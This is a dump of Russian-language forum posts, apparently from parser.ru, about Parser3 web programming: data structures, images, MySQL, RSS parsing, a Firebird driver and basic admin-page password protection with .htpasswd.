sections2[^table::create{name   age}]\
$i(3)\
^while($i > 0){\
  ^sections.offset(^math:random(^eval(^sections.count[]+1)))\
  ^sections2.append{$sections.name   $sections.age}\
}\
[/code]\
Вроде так..."
"25965","Требуется создать рисунок с прозрачным фоном(transperent).\
Ну, допустим, нужен рисунок красного круга с прозрачным фоном.\
Вот код рисунка с непрозрачным фоном.\
[code]\
$pic[^image::create(100;100;0xFFFFFF)]\
^pic.circle(50;50;40;0xFF0000)\
$response:body[^pic.gif[]]\
[/code]\
Ну и получаем красный круг на белом фоне... может надо вместо 0xFFFFFF что-нибудь другое написать?"
"25966","Если не ошибаюсь - то так создать нельзя.\
Зато можно создать на основе готового прозрачного гифа.\
\
http://www.parser.ru/forum/?id=11622"
"25967","1. Во избежание endless loop ставим ^i.dec[] в конце цикла.\
2. Во избежание повторения строк в конечной таблице выносим случайную стартовую строку из цикла, а затем тупо прибавляем единицу. Получается вот что:\
\
$sections2[^table::create{name	uri}]\
$i(3)\
^sections.offset(^math:random(^eval(^sections.count[]+1)))\
^while($i>0){\
^sections2.append{$sections.name	$sections.uri}\
^sections.offset(1)\
^i.dec[]\
}\
\
Вуаля! Все работает.\
Уважаемый Immoralis, огромное спасибо за толчок в нужном направлении ;)"
"25968","один из вариантов (поднималось подобне обсуждение не раз, поиск рулит): http://www.parser.ru/forum/?id=12771"
"25969","Поставил Денвер+Parser. Таблица с навигацией из первого примера руководства получилась, а на стору ^uri[] или ^name[] говорит, что undefined metod. Может я совсем не того... Скажите чего-нибудь пожалуйста"
"25971","У них все слегка странно, да.\
в результате недельных экспериментов выяснилось, что путь к руту выглядит так:\
/../../v/voshru/public_html/\
\
Остальное - отлично."
"25972","Делаю форму для добавления анкеты.\
Для сохранения данных из формы использую таблицу MySQL с такими колонками:\
ID date_of_birth name surname \
Хочу, чтобы из формы можно было выбирать файл картинка.расширение и он бы сохранялся на диске с именем ID.расширение. Проблема в том, что ID имеет тип primary key и auto_icrement, тоесть назначается автоматически, т.е. до обработки формы он неизвестен.\
Подскажите, пожалуйста способ реализации..."
"25973","есть такая ф-ция в mySQL\
а класс для работы можно скачать здесь: http://www.parser.ru/examples/comp/"
"25974","Сделал как вы мне сказали - не работает...\
\
Он все время ссылается не на директорию <public_html>, а почему-то на <pub>...? Служба поддержки молчит как портизан.\
Вот на что идет ссылка:\
'/home/v/voshru/pub/../../v/voshru/public_html/sections.cfg'"
"25975","Стоит ли расчитывать на Parser при создании большого, объемного сайта с высокой посещаемостью?\
Высокая посещаемость - я имею ввиду 5000-10000 чел. в день.\
\
Насколько все быстро будет работать? И какова вообще скорость работы Parser?\
Напимер, я бы не сказал, что данный форум летает как воробей...\
\
Если проводить аналогии с PHP, то, что по статистике pазработчиков работает быстрее при прочих равных условиях:\
PHP + MySQL или Parser + MySQL?\
\
ЗЫ. Сейчас перед выбором."
"25976","1. Лезем в DNS, смотрим MX vasya@example.com -> получаем что-то вроде mail.example.com\
2. устанавливаем SMTP-соединение с mail.example.com и говорим ему \
\
HELO example.com\
MAIL FROM:<this_is_test@example.com>\
RCPT TO:<vasya@example.com>\
\
Если получаем в ответ \"250 OK\", говорим SMTP-серверу RSET и QUIT - такой ящик есть. Если код ответа - не 250 - нету. \
\
\
\
Только что-то мне подсказывает, что ТАК заботиться о юзере - перебор. Пускай поддержание его ящика в рабочем стостоянии будет его проблемой..."
"25978","Вы прочитали моё и PAF'ово сообщения ниже в этой ветке? Какие результаты?"
"25979","У меня при пинге на www.parser.ru 5.6 ms (avg) летает быстрее воробья ;-)"
"25980","да и делать можно совсем по разному..."
"25981","Меня больше всего интересуют эмпирические результаты анализа скорости работы от разработчиков. \
Повторюсь, проведенных при прочих равных(или почти равных) условиях по отношению к другим распространенным языкам.\
\
Вообще такие исследования проводились?"
"25982","у меня, кстати, та же проблема\
есть список адресов (порядка 20000) для рассылки (не спама), при этом дофига адресов уже не рабочие. А так как рассылка занимает ловольно много времени, то жалко его тратить на те адреса, которых нет уже.\
я поэтому тоже озабочен тем, как проверять адреса на существование"
"25983","провести их корректно во первых сложно (надо сделать на разных языках, разными людьми примерно одинаковой квалификации один и тот-же проект, а затем погонять их в одинаковых условиях), а во вторых - кто за это будет платить?"
"25984","Вроде-бы уже есть версия с поддержкой GIF, Павел Титов знает где достать...  ;)"
"25986","да, сайты MTV/МТС et c.\
я сам вчера тестил свои сервера - \"завал\" по выдаче страниц начинается на 18 запросах в секунду. но так как знаю, что подобного не будет, а как раз расчитано на 2-4 тысячи чел. в день, мне в полне хватает.\
\
Кстати, спасибо ПАФу за пояснение про ab."
"25987","Вы в него грузите список емейлов из экселевской таблички, он их прогоняет (на валидность и на наличие) и выдаёт результат. Гораздо легче пользоваться им раз в пару месяцев для чистки блох, чем делать это с сервера.\
\
Посмотрите в сторону всяких Advanced maiilist verify и им подобных."
"25988","Есть класс document.p, в одном из его методов есть такая строчка: \
[code]\
^head:head[param1;param2;param3;param4]\
[/code]\
Но класс head не подключен ни с помощью @USE, ни с помощью ^use[]. \
Причем он не подключен, ни в одном из классов (их всего два), подключенных в document.p с помощью @USE. \
Вопрос: почему работает?"
"25989","Как удалить выбранный узел $node?\
[code]\
$remove[^node.delete]\
[/code]\
Или как?\
\
Хоть я ничего не понимаю в нем, но подозреваю, что такого нет. Иначе в поиске нашлось бы, не то что в доке."
"25990","Я говорил про парсерный форум ;-)\
\
А если добавить к Мишиному посту: все проекты Theatre.Ru за последние полтора года тоже на третьем парсере...\
Пиковая посещаемость бывала 15-20 запросов в секунду к тяжелым страницам (форумы). Выживали."
"25991","http://www.parser.ru/docs/lang/xnodedommethods.htm"
"25992","…он работает совсем не быстро, однако и написан он достаточно давно и далеко не оптимально, а кардиннально переделывать его нет времени.\
\
но это форум, а речь шла про \"Большой сайт\", что с моей точки зрения не одно и то-же. например скешировать контент на форуме, где каждому выдается что-то свое и все постоянно обновляется шансов очень мало, а сделать то-же самое на \"большом сайте\" - в большинстве случаев элементарно.\
\
любая другая страничка этого сайта отдается в разы быстрее (даже без учета кеша), хотя весь сайт управляется через CMS и используется связка xml/xsl.\
\
и это только cgi версия парсера, где парсер не может кешировать скомпиленный xsl..."
"25993","Невнимательность - мое второе \"Я\"."
"25994","Убыстрить можно - не вопрос.\
Однако, те секунда-полторы (секундомер + телнет), которые проходят с момента поста запроса (enter enter) до окончания вывода - не так уж и много для 33Кб первой страницы форума."
"25995","если ничего не придумаете, наверное, придётся официально разрешить там .xxx, явно прописав, что это игнорируется.\
\
возможно, \"пока игнорируется\".\
возможно, тип дат будет переписан на поддержку более широкого диапазона.\
\
если кому не лень, я с радостью приму новый тип date. исходники общедоступны."
"25997","В auto.p нет ничего, кроме объявления 4-х переменных. В конфигурационном тем более. Что вы имели в виду?"
"25998","Есть такая задача, узнавать битрэйт, кол-во секунд в MP3 файле... кто-нить с таким сталкивался? Буду рад любым ссылкам в RTFM. Язык сайта, как понимаете, Парсер."
"25999","В index.html подключаются классы:\
[code]\
@USE\
document.p\
404.p\
[/code]\
В 404.p подключается:\
[code]\
@USE\
head.p\
[/code]\
Дело в этом?"
"26002","не знаю насколько там все сложно. Если все также как и для DOM2 NS методов, которые я давеча добавлял, то сделаю, правда не сию минуту, т.к. надо новый сайт про-образа запустить в первую очередь.\
\
На самом деле это не совсем горит, ну сделал я truncate в нужных местах и все заработало, но в будущем понятно что можно это дело забыть и потерять время наступая на те же грабли."
"26003","Всем большое спасибо за то, что пытвлись помоч.\
\
Вот в чем было дело: оказывается работать нужно было только от делегированного домена!!! т.е. когда доступен основной домен пита <домен.ру>, я же пользовался временной папкой, кот. создает хостер и в которой реально храняться все файлы - 00.00.00.00/~домен/\
\
...так вот Парсер работает корректно только при вызове с проделегированного домена и соответственно с прямого адреса!\
\
Однако не смотря на то, что я все-таки опытным путем(Сколько же я сил потратил...) выяснил в чем дело, на мой взгляд разработчикам все же нужно подумать как таких проблем избегать в будущем."
"26004","Как передать скобки тэгов без преобразования? Можно ли его отключить? В доке написано, что Парсер любой, даже чистый код старается обработать. А мне нужно передать из формы мета-тэги, потом, обработанные regexp'ами с этого форума сунуть в XML.\
Напрямую готовые тэги без преобразования regexp'ом тоже коверкаются."
"26005","както проскакивало желание PAFа написать драйвер для Interbase\\firebird под unix - реализовано? или мож кто ещё сделал?"
"26006","вопрос обсуждался не раз"
"26007","моим же желанием было помочь человеку написать общественно полезную вещь.\
\
пока 0 желающих."
"26008","500, 403 и т.д. ошибок. Сам не догоняю , т.к. до Парсера не имел дела с server-side языками."
"26010","http://www.parser.ru/hren_vam_a_ne_stranica"
"26012","А что, если одновременно добавляется несколько анкет...Не вызовит это неразбериху в том, какая последняя запись была добавлена....?\
Заранее спасибо, за терпимость к моей дотошности...:)"
"26013","...иначе:\
\
коды (Status Code Definitions)\
100 Continue\
101 Switching Protocols\
200 OK\
201 Created\
202 Accepted\
203 Non-Authoritative Information\
204 No Content\
205 Reset Content\
206 Partial Content\
300 Multiple Choices\
301 Moved Permanently\
302 Found\
303 See Other\
304 Not Modified\
305 Use Proxy\
306 (Unused)\
307 Temporary Redirect\
400 Bad Request\
401 Unauthorized\
402 Payment Required\
403 Forbidden\
404 Not Found\
405 Method Not Allowed\
406 Not Acceptable\
407 Proxy Authentication Required\
408 Request Timeout\
409 Conflict\
410 Gone\
411 Length Required\
412 Precondition Failed\
413 Request Entity Too Large\
414 Request-URI Too Long\
415 Unsupported Media Type \
416 Requested Range Not Satisfiable\
417 Expectation Failed\
500 Internal Server Error\
501 Not Implemented\
502 Bad Gateway\
503 Service Unavailable\
504 Gateway Timeout\
505 HTTP Version Not Supported"
"26014","или воспользуйтесь поиском на этом форуме, это и тут тоже уже не раз обсуждалось."
"26015","Вопрос: одновременно кем?\
Если одним человеком (в пределах одного скрипта) - возможно имеет смысл разделять их в разные запросы и после каждого просить last_insert_id()\
Если речь идет о разных людях (разных скриптах), то last_insert_id() возвращает последние значение авто-инкремента в текущем коннекте. А так как у разных процессов разные коннекты - проблемы нет совсем."
"26016","Вопрос, полагаю, к Мише третьей версии: а что означает поле rights таблицы auser_to_auser? Смысл слов \"права, с которые пользователь имеет на группу\" понять не могу никак :-("
"26017","должно быть написано: \"права, которые пользователь имеет на группу\"\
\
я за основу брал систему раздачи прав из Novell NDS и упрощал.\
\
в применении к групам/пользователям это например означает, что пользователь U1 может в группу G1 добавлять/включать других пользователей, а пользователь U2 - модет только исключить себя, например (только включать, только исключать или что вы ещё придумаете).\
\
я в этом поле храню число, где каждый бит означает что-либо (соответственно калькуляция прав - простая битовая арифметика)\
\
P.S. кажется так... приду на работу - глану код, тут у меня его нету :)"
"26018","Вроде многоуважаемая документация не учит этой самой битовой арифметике. Что такое за значение 16777215 в auser | rights? \
\
Вообще, я не пойму, захожу я под админомили под юзером, в примере авторизации разницы никакой. Как предполагалось использовать данные права? Хотелось бы элементарно заходить под админом и банить/изменять права/добавлять в группу существующие логины. Или это возможно и сейчас, только спрятано?"
"26019","$double(-1000.3333333)\
\
^double.format[% u]\
возвращает: 4294966296, я же ожидаю получить: 1000 \
при этом ^double.format[% d] возвращает: -1000.\
\
В мануале написано, что cуществуют следующие типы: \
d - десятичное целое число со знаком\
u - десятичное целое число без знака\
т.е. если бы я ошибся в использовании синтаксиса, то все равно различия должны были быть только в знаке. Или я не прав?"
"26020","То есть, это значение, которое может быть произвольным образом использовано в административном интерфейсе каждого конкретного сайта, я правильно понял?"
"26022","пример:\
данные хранятся в 1 байте.\
число без знака, диапазон значений: от 0 до 255\
число со знаком, диапазон значений: от -127 до 128\
\
аналогично в вашем примере. подразумевается, что там просто не бывает отрицательных значений."
"26024","Хотелось бы узнать как дела с затеей по parserdev.ru? Вроде бы прошлое обсуждение http://www.parser.ru/forum/?id=25561 не кончилось никаким конкретным итогом?\
\
Адрес (parserdev.ru) говорит forbidden 403! Это значит работы начались и выдуться?\
\
Задумка то ценная, работающей community правда не зватает. Plese сориентируйте по \"статусу\" проекта - надеюсь, затея не умерла как предыдущие.\
\
И наконец ОФФТОПИК:\
Вообще просветите по поводу есть ли какого-нибудь рода парсер-community? Исключая parser.ru и небольшие(но значимые) персональные проекты типа egoroff.spb.ru  :-)\
под коммьюнити я имею виду своеобразное место контакта - чтоб можно было и народ найти, к примеру. А не офф-топить этот форум.\
\
 В например надо продвинутого парсериста найти для совместной работы итд. А то недавно вообще вопрос встал такой: намечался большой проект по разработке и дизайну сайта, но тормознулся, так как заказчики (дальновидные интеллектуалы, блин) беспокоятся о том, что кроме нас их потом поддерживать некому будут... или, мол переплачивать придется... А я статистической информацией не владею ни по студиям, но по персоналиям(у нас в городке парсером всего пара человек занимается..). \
Была бы community... :-))))) А может уже есть, а я не знаю?\
\
PS. В разделе в действии был, не помогает :-)"
"26025","Безопасно ли так хранить пароль или подскажите как лучше?\
@greeting[] \
Администрирование новостей \
\
@body_additional[] \
Добавление новостей \
\
@body_main[] \
$now[^date::now[]] \
#Пароль на добавление новости\
$password[rjntyjr]\
\
<center> \
\
<form method=\"POST\">\
Enter the password: <input type=\"password\" NAME=\"secret_word\" size=\"30\" MAXLENGHT=\"30\">\
Date: <input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\"> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
Header: <input name=\"header\"> База новостей:<pre><input type=\"radio\" NAME=\"lang\" value=\"_ru\"> Русская\
					           <input type=\"radio\" NAME=\"lang\" value=\"_en\"> English </pre> \
<p>Body:<br> \
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form> \
\
#начало обработки \
\
 ^if($form:secret_word eq $password){\
  ^if(def $form:date && def $form:header && def $form:body && def $form:lang){ \
   ^connect[$connect_string]{ \
      ^void:sql{insert into news${form:lang} \
         (date, header, body) \
      values  \
         ('$form:date', '$form:header', '$form:body') \
      } \
      …сообщение добавлено \
      } \
}{ \
   …для добавления новости необходимо заполнить все поля формы \
} \
}\
{...ну и чо ты сюда лезишь &nbsp;}\
\
</center>"
"26026","Копать на тему .htpasswd и иже с ним.\
В результате надо просто закрыть паролем раздел с админской частью."
"26027","Если можна, напишите подробнее про ваш вариант или подскажите, где почитать..."
"26028","и подсовываешь ему нужную страницу, а что там внутри, стирание всего сайта или наоборот добавление решать вам."
"26029","все пароли нужно хранить в зашифрованном виде. В случае, если кто-то получит доступ к вашим файлам или базе, он не сможет узнать, что за пароли хранятся.\
правда, если он сможет посмотреть или изменить ваш auto.p, он и так сможет намудрить достаточно :)"
"26030","поищите в яндексе и на форуме - найдёте выше крыши\
а если примерно - то есть два файла - .htpasswd и .htaccess\
\
В первом написано что-то такое\
admin:$apr1$RI4.....$lPhtV9YZsgiCc7vtxwR.t1\
\
А во втором что-то такое\
AuthType Basic\
AuthName \"Администрация сайта\"\
AuthUserFile /home/..../admin/.htpasswd\
require valid-user\
\
и всё. теперь никто не сможет зайти в папку admin без указания пароля"
"26031","к примеру, http://www.livejournal.com/community/ru_parser/\
только зачем всё это - как правило такие проекты не выдерживают конкуренции с данным форумом\
\
в принципе, начать изучать парсер можно по справке (вообще, полезная вещь), а дальше обязательно помогут (если не задавать клинически тупых вопросов :)"
"26032","1. где можно почитать более-менее понятно, и с примерами про форматные строки, т.к. то что мне удалось найти расчитано на C-программистов (к числу которых я не принадлежу), и не сильно отличается от того, что есть в мануале парсера3.\
\
2. Как мне получить модуль числа или преобразовать его к натуральному с помощью форматных строк?"
"26033","У меня есть вполне рабочая версия драйвера под Linux. По нескольким причинам указанным ниже, я пока не сделал ее достоянием community.\
\
1. В силу моего непрофессионализма текущая версия драйвера IB/FB плохо непереносима потому как:\
- драйвер не использует IB/FB напрямую, а используется библиотека классов IBPP (http://www.ibpp.org). И как следствие для сборки драйвера требуется GCC версии > 3.2 \
- используется динамическое связывание с клиентской библиотекой (драйвера написанные Александром сами загружают клиентские библиотеки). Почувствуйте разницу:\
ldd libparser3mysql.so\
        libdl.so.2 => /lib/libdl.so.2 (0x40016000)\
        libc.so.6 => /lib/libc.so.6 (0x40019000)\
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x80000000)\
или\
ldd libparser3ib.so\
        libibpp.so => /usr/lib/libibpp.so (0x40012000)\
        libc.so.6 => /lib/libc.so.6 (0x4005a000)\
        libfbclient.so.1 => /usr/lib/libfbclient.so.1 (0x40176000)\
        libcrypt.so.1 => /lib/libcrypt.so.1 (0x401f6000)\
        libdl.so.2 => /lib/libdl.so.2 (0x40228000)\
        libstdc++.so.5 => /usr/lib/libstdc++.so.5 (0x4022b000)\
        libm.so.6 => /lib/libm.so.6 (0x402df000)\
        libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x40301000)\
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x80000000)\
        libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40309000)\
        libpthread.so.0 => /lib/libpthread.so.0 (0x40325000)\
        libgpm.so.1 => /usr/lib/libgpm.so.1 (0x4033a000)\
        libtinfo.so.5 => /lib/libtinfo.so.5 (0x40340000)\
- Драйвер работает только с Parser3 HEAD \
2. В текущей версии реализован только на локальный коннект\
3. Драйвер нуждается в [b]**интенсивном**[/b] тестировании (я тестировал его только на FB 1.5 RC8)\
\
Попытку сделать версию работающую через API буду предпринимать выхода релиза FB 1.5? когда наконец закончится чехарда с клиентскими библиотеками (libgds, libfbclient, libfbembed ...)\
\
Если вы готовы смирится с текущими недостатками драйвера и хотите помочь в тестировании драйвера - пожалуйста, я вышлу исходники. \
Хотите помочь в разработке драйвера? Буду рад любой помощи."
"26034","Непонятные грабли нашел.\
\
Суть заключается в следующем.\
\
Есть два файла (для упрощенности лишний код убран):\
\
______________________\
1. Файл file.class.p\
\
@CLASS\
cFile\
\
@DeleteFile[fileID]\
^file:delete[/file$fileID]\
\
@DeleteAll[]\
^DeleteFile[1]\
^DeleteFile[2]\
^DeleteFile[3]\
\
______________________\
2. Файл index.html\
\
@main[]\
$File[^cFile:Create[]]\
^DeleteAllFiles[]\
\
\
@DeleteAllFiles[]\
^File.DeleteAll[]\
\
@DeleteFile[]\
# здесь какой-то код\
\
________________________\
\
\
Parser на это выдает ошибку: method of MAIN (MAIN) accepts maximum 0 parameter(s) DeleteFile.\
И указывает на строку с вызовом ^DeleteFile[1]\
\
Меняю код на:\
@DeleteAll[]\
^self.DeleteFile[1]\
^self.DeleteFile[2]\
^self.DeleteFile[3]\
и все начинает работать.\
\
Вопрос: почему вызывается не тот метод внутри класса, а метод с таким же именем но из класса MAIN?"
"26035","проблемный вызов был воспринят, как вызов оператора.\
\
таким образом в parser ускоряется вызов операторов: сначала ищется ^оператор[] и только потом метод класса.\
\
иначе, если сначала искать 'if' в вашем классе, и только потом в списке операторов. то поиск [b]каждого[/b] if в вашем коде будет в два раза дольше.\
\
\
вывод: \
создавайте только простые и нужные операторы.\
большую часть кода помещайте в классы.\
если же пишете что-то вне класса, давайте методам внятные названия.\
\
в вашем случае: вероятно есть метод DeleteFile без параметров в .html или каком-то из auto.p, вероятно, этот метод давно стоит убрать."
"26036","http://parser.proc.ru - форум, но сейчас активности там не наблюдается."
"26039","С удовольствием возьмусь за подсобную работу над parserdev.ru, причем хоть сейчас, потому что момент назрел, есть люди которые все это поставят на ноги, а задача большинства - активность."
"26040","Ctrl+F \"Error\""
"26041","В Парсере работа с картинками представлена очень хорошо, но не хватает одной из самых часто используемых функций – resize или scale. По моему опыту, на вебе чаще всего требуется либо вывод в гиф шрифтов (что реализовано очень удобно) либо изменение размера картинок, чего, к сожалению нет. Использовать сторонние программы проблематично, да и очень неудобно. Реализация такой функции явно была востребована.  \
Причем если бы была возможность указывать еще и тип интерполяции - bilinear, bicubic или by neighbor – это было бы просто супер. К сожалению, мне не известно – насколько трудоемка реализация такой функции, и насколько в ней нуждается персонал студии. \
Потому вопрос – есть такое в планах, пусть даже очень далеких?"
"26042","поиск по форуму слева."
"26043","Третий день бьюсь никак не добьюсь нужного результата...\
Задача такая, есть таблица вида:\
cat | id | name\
 6    1    aa\
 6    2    bb\
 6    3    cc\
 3    4    dd\
 3    5    ee\
ее надо преобразовать в хеш\
$.6[\
  $.1[aa]\
  $.2[bb]\
  $.3[cc]\
]\
$.3[\
  $.4[dd]\
  $.5[ee]\
]\
использую следущий код:\
$m2[^table::sql{select cat, id, name from tabname order by cat}]\
$mid[]\
$m2t[\
^m2.menu{\
	^if($mid ne $m2.con_id){\
		^if($mid ne ''){]}\
		$mid[$m2.cat]\
		$.[$mid][\
	}\
		$.[$m2.id][$m2.name]\
	^if(^m2.line[]==^m2.count[]){]}\
}\
]\
получаю ошибку:\
  ... index.html(400:1): parse error, expecting `']''\
если закомментировать знак $ и просмотреть результат как строку, получается вполне пристойный результат.\
Если кто занимался такой проблемой, посоветуйте что-нибудь плз.."
"26046","обратись к своему админу с вопросом как сконфигурировать апач для того, чтобы ErrorDocument показывался свой собственный.\
Это к парсеру не имеет никакого отношения."
"26048","Я начал изучать Парсер (вообще еще ни одного языка веб-программирования не знаю) и хочу сделать хороший фотоальбом. Возможно ли это сделать на Парсере или мне стоит обратиться к PHP или Perl?"
"26049","Вот суть проблеммы...\
Код:\
<form method=\"POST\">\
<table cellpadding=\"0\" cellspacing=\"0\" border=0>\
^list.menu{\
<tr valign=\"top\">\
<td><a href=\"?id=$list.id\" id=b><span class=t11>$list.data</span></a><br></td>\
<td width=\"400\"><a href=\"?id=$list.id\" id=b><span class=t11>$list.head</span></a><br></td>\
<td><input type=\"Text\" value=\"$list.num\" name=\"num$list.id\" class=t11 style=\"width: 40px\"><br></td>\
</tr>}\
<tr>\
<td colspan=4 class=\"tab\" align=\"right\"><input class=\"t11\" name=\"post\" type=\"submit\" value=\"&#209;&#238;&#245;&#240;&#224;&#237;&#232;&#242;&#252;\"><br></td>\
</tr>\
</table>\
</form>\
\
И вот как мне вытащить &form:num$list.id?\
\
Заранее всем спасибо!"
"26050","Не работает авторизация пользователей, подскажите пожалуйста\
правильный путь.\
\
Ниже даю следующее: кусок auto.p в корне сайта, содержание дериктории /classes/,\
\
___________________________________________________________________________\
snab/auto.p\
[cut]\
\
@USE\
/classes/lib.p\
/classes/mysql.p\
/classes/auth.p\
\
@dbconnect[code]\
^connect[$connect_string]{$code}\
# connect_string определяется в методе @auto[]\
# $connect_string[mysql://root@localhost/snab]\
\
@auto[]\
$connect_string[mysql://root@localhost/snab]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
\
@main[]\
^header[]\
^body[]\
^footer[]\
\
[/cut]\
___________________________________________________________________________\
Содержание директории snab/classes/:\
\
lib.p\
sql.p\
mysql.p\
auth.p\
\
___________________________________________________________________________\
Запускаем snab/_auth_setpwd.html и получаем следующее:\
\
\
Unhandled Exception (Debug)\
connection string must start with protocol://\
connect\
\
z:/home/snab/www/classes/sql.p(46)\
exception.type=parser.runtime \
\
___________________________________________________________________________\
snab/classes/sql.p\
[cut]\
\
############################################################\
# установление соединения с sql сервером\
@server[body]\
^connect[$connect-string]{$body}\
#end @server[]\
\
[/cut]\
\
Заранее благодарен гуру за свет в конце тунеля"
"26051","&#209;&#238;&#245;&#240;&#224;&#237;&#232;&#242;&#252; - Это пита \"Сохранить\"\
:-)"
"26053","если я правильно понял, вы хотели \"динамически наполнить хеш данными\", для этого обычно используется немного другой подход, см. в документации \"create. Создание пустого и копирование хеша\".\
\
P.S. Пожалуйста, пользуйтесь командами форматирования (FAQ -> Использование форума) ибо в этой каше символов уловить какой-либо смысл достаточно непросто..."
"26054","может опишите решаемую задачу?\
\
если хеш таблиц устроит то все очень просто делается одним парсерным методом:\
$h[^m2.hash[id][$.distinct[tables]]]\
\
P.S. ваш код некорректен с точки зрения парсера. объяснять почему - долго. вы смешали понятия \"выдать текст\" и написать код. в принципе вы можете сделать \"текст\", который затем сделать process, но это плохой метод. кроме того вы забыли, что просто так написать в коде символ '[' низя (в большинстве случаев), т.к. это спецсимвол парсера и его надо эскейпить (подробности в документации)"
"26055","За ссылочку спасибо, я как то-прозевал ее ранее. Но во-первых активности там тоже не много.\
А во- вторых, как бы так сказать поприличнее, я понимаю что учиться можно/всю жизнь, но коммьюнити я ищу не с целью обучения, а с более корыстными целями :-))"
"26056","А это куда и как? Не могу понять.."
"26057","Я б тоже взялся... скажем за дизайн, но вот хотелось бы услышать Павла Титова, как там дела.... с parserdev.ru\
А самим что-то начинать не имея определенного \"запаса прочности\" как по опыту, так и по авторитетности :-) - ну вы ведь в курсе что было с предыдущими Начинаниами, которые не переходили в стадию продолжаний."
"26059","Вот еще раз код...\
[code]\
^connect[$SQL.connect-string]{$list[^table::sql{select id, body, data, parent, img_uri, head, num, first from content WHERE parent=$sections.id order by num asc}]}\
$now[^date::now[]]\
<span class=s6>&nbsp;</span><br>\
	<table class=\"tab\" cellpadding=\"0\" cellspacing=\"0\" border=0><form method=\"POST\">\
	^list.menu{\
		<tr valign=\"top\">\
		<td class=\"tab\"><a href=\"?id=$list.id\" id=b><span class=t11>$list.data</span></a><br></td>\
		<td class=\"tab\" width=\"400\"><a href=\"?id=$list.id\" id=b><span class=t11>$list.head</span></a><br></td>\
		<td class=\"tab\"><input type=\"Text\" value=\"$list.num\" name=\"num$list.id\" class=t11 style=\"width: 40px\"><br></td>\
		</tr>}\
		<tr>\
			<td colspan=4 class=\"tab\" align=\"right\"><input class=\"t11\" name=\"post\" type=\"submit\" value=\"Сохранить\"><br></td>\
		</tr>\
	</table>\
</form>\
[/code]\
\
Как вытащить значение из формы $form:num102\
или $form:name$list.id"
"26061","*"
"26062","вопрос обсуждался многократно."
"26064","все сделал, спасибо Misha"
"26068","В этом форуме советовали делать ^match. Делаю. Не получается.\
Парсер пишет:\
xdoc field not found\
match\
\
\
Вот кусок кода:\
$xml[^xdoc::load[$local_file]]\
$xml[^xml[\
	<(rdf:rdf)(.*?)>\
	(<!\\[CDATA\\[)?\
	(.*)\
	(\\]\\]>)?\
	</\\1>\
][ix]{${match.4}}]\
\
Как сделать-то?.."
"26071","Код того, что работает у меня на http://www.bougakov.com/blog/friends/\
\
[code]##############################\
# В этот класс вынесен весь код, который\
# отвечает за чтение RSS потоков с других сайтов.\
@CLASS\
rss\
\
@USE\
log.p\
\
##############################\
# Загрузчик\
@load[]\
$result[]\
\
##############################\
# Получение списка RSS ньюсфидов, которые не обновлялись больше часов, чем\
# указано в столбце min_refresh_period и их обновление\
@update_list[]\
\
^if(def $form:limit){\
	$limit[$form:limit]\
	$limit(^limit.int(15))\
}{$limit(15)}\
\
<p>Идёт поиск до $limit RSS-лент, которые, согласно графику, уже должны быть обновлены&#133^;\
\
^MAIN:dbconnect{\
	$rss_feeds[\
		^table::sql{SELECT\
			uri,\
			name,\
			last_update,\
			is_enabled,\
			min_refresh_period,\
			hours_to_keep\
		FROM\
			cityblog_rsslist\
		WHERE\
			is_enabled=\"yes\"\
		AND\
			(UNIX_TIMESTAMP(NOW()) - UNIX_TIMESTAMP(last_update)) >= (min_refresh_period * 60 * 60) # В часе 60 минут по 60 секунд, если вы не в курсе :-)\
		ORDER BY\
#			last_update\
			RAND()\
		}[$.limit($limit)]\
	]\
\
	^if(def $rss_feeds){\
		<ol>\
			^rss_feeds.menu{\
				<li><a href=\"$rss_feeds.uri\" target=\"_new\">$rss_feeds.name</a>\
				последний раз был открыт $rss_feeds.last_update,\
				выполняется обновление&#133^;</li>\
				^update_feed[$rss_feeds.uri]\
	\
				^void:sql{DELETE FROM cityblog_rssitems\
					WHERE\
						(UNIX_TIMESTAMP(NOW()) - UNIX_TIMESTAMP(pubdate)) >= ($rss_feeds.hours_to_keep * 60 * 60)\
					AND\
						link = \"$rss_feeds.uri\"\
					}\
			}\
		</ol>\
	}{\
		<p>В настоящий момент таковых нет.</p>\
	}\
\
}\
\
\
##############################\
# Повторное чтение RSS потока, разбор и запись в базу обновлений:\
@update_feed[feeduri]\
\
# пытаемся загрузить RSS файл с помощью ^file::load\
# При этом может произойти целая туча неприятностей - другой сервер может не отвечать,\
# файл окажется испорчен или удалён - на этот случай мы пользуемся оператором ^try\
\
^try{\
	$error(0)\
	$rss[^file::load[text;^untaint{$feeduri};\
		$.timeout(5)\
		$.any-status(1)\
		$.headers[\
			$.User-Agent[CityBlog RSS aggregator from $MAIN:global_server]\
		]\
	]]\
\
#	Поскольку парсер неспособен считать XML-элементы наподобие <item rdf:about=\"http://\
#	выскребаем их из документа:\
	\
	$rss_replacements[^table::create{from	to\
encoding=\"UTF-8\"	encoding=\"windows-1251\"\
encoding=\"utf-8\"	encoding=\"windows-1251\"\
encoding='utf-8'	encoding='windows-1251'\
encoding=\"iso-8859-1\"	encoding=\"windows-1251\"\
encoding='iso-8859-1'	encoding='windows-1251'\
 rdf:	 rdf_\
&mdash^;	-\
&hellip^;	...\
&nbsp^;\
&quot^;	\"\
”	\"\
“	\"\
&copy^;	(c)\
&laquo^;	\"\
&raquo^;	\"\
&trade^;	 <sup>(TM)</sup>\
</rdf:RDF>	</rss>\
xmlns=	xmln_dis=\
xmlns:	xmln_dis_\
<rdf:li	<rdf_li\
<rdf:Seq	<rdf_Seq\
</rdf:Seq	</rdf_Seq\
rdf:resource=	rdf_resource=\
<admin:generatorAgent	<admin_generatorAgent\
<rdf:RDF	<rss version=\"2.0\"\
dc:subject>	subject>\
dc:creator>	creator>\
dc:publisher>	publisher>\
syn:updateFrequency>	syn_updateFrequency>\
syn:updatePeriod>	syn_updatePeriod>\
syn:updateBase>	syn_updateBase>\
sy:updateFrequency>	sy_updateFrequency>\
sy:updatePeriod>	sy_updatePeriod>\
sy:updateBase>	sy_updateBase>\
dc:language>	language>\
